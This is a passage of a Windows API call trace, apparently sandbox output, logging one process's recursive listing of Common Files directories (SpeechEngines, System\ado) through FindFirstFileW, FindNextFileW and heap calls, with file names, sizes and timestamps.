ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0233.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bbc8 [0233.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bcc8 [0233.873] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.873] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0233.874] GetProcessHeap () returned 0x560000 [0233.874] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x3bf0050 [0233.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2ffe728 | out: lpFindFileData=0x2ffe728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd08 [0233.875] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2ffe728 | out: lpFindFileData=0x2ffe728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0233.875] FindNextFileW (in: hFindFile=0x65bd08, lpFindFileData=0x2ffe728 | out: lpFindFileData=0x2ffe728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0233.875] FindClose (in: hFindFile=0x65bd08 | out: hFindFile=0x65bd08) returned 1 [0233.876] GetProcessHeap () returned 0x560000 [0233.876] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3bf0050 | out: hHeap=0x560000) returned 1 [0233.876] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0233.876] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0233.877] FindNextFileW (in: hFindFile=0x65bcc8, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0233.877] FindClose (in: hFindFile=0x65bcc8 | out: hFindFile=0x65bcc8) returned 1 [0233.893] GetProcessHeap () returned 0x560000 [0233.893] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x3be0048 | out: hHeap=0x560000) returned 1 [0233.914] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0234.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0234.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0234.584] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0234.584] FindClose (in: hFindFile=0x65bbc8 | out: hFindFile=0x65bbc8) returned 1 [0234.585] GetProcessHeap () returned 0x560000 [0234.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5dad70 | out: hHeap=0x560000) returned 1 [0234.585] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 0 [0234.585] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0234.585] GetProcessHeap () returned 0x560000 [0234.585] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0234.590] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0234.590] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0234.591] GetProcessHeap () returned 0x560000 [0234.591] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b888a8 | out: hHeap=0x560000) returned 1 [0234.591] FindNextFileW (in: hFindFile=0x593e10, lpFindFileData=0x2fff3d0 | out: lpFindFileData=0x2fff3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0234.592] GetProcessHeap () returned 0x560000 [0234.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0234.593] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd88 [0235.575] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.763] FindNextFileW (in: hFindFile=0x65bd88, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0235.763] GetProcessHeap () returned 0x560000 [0235.763] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5dad70 [0235.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bd48 [0235.763] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.769] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c91ed4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4c91ed4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa06f97f7, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3912, dwReserved0=0x0, dwReserved1=0x0, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0235.769] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4085067, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa4085067, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa0661283, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x3a67, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0235.770] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0235.770] GetProcessHeap () returned 0x560000 [0235.770] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0235.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560000, dwReserved1=0x9000000, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0235.773] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x560000, dwReserved1=0x9000000, cFileName="..", cAlternateFileName="")) returned 1 [0235.773] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x560000, dwReserved1=0x9000000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1 [0235.773] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x560000, dwReserved1=0x9000000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0 [0235.774] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0235.774] GetProcessHeap () returned 0x560000 [0235.774] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0235.774] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6129cc5, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x6129cc5, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x80fe7780, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0235.774] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f7da10b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f7da10b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f80026c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0235.775] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0235.775] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x833eacc3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x833eacc3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x833eacc3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0235.775] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0235.775] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83410e23, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83410e23, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83410e23, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0235.776] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0235.776] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0235.776] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0235.777] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0235.777] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0235.777] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0235.778] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0235.778] FindNextFileW (in: hFindFile=0x65bd48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, 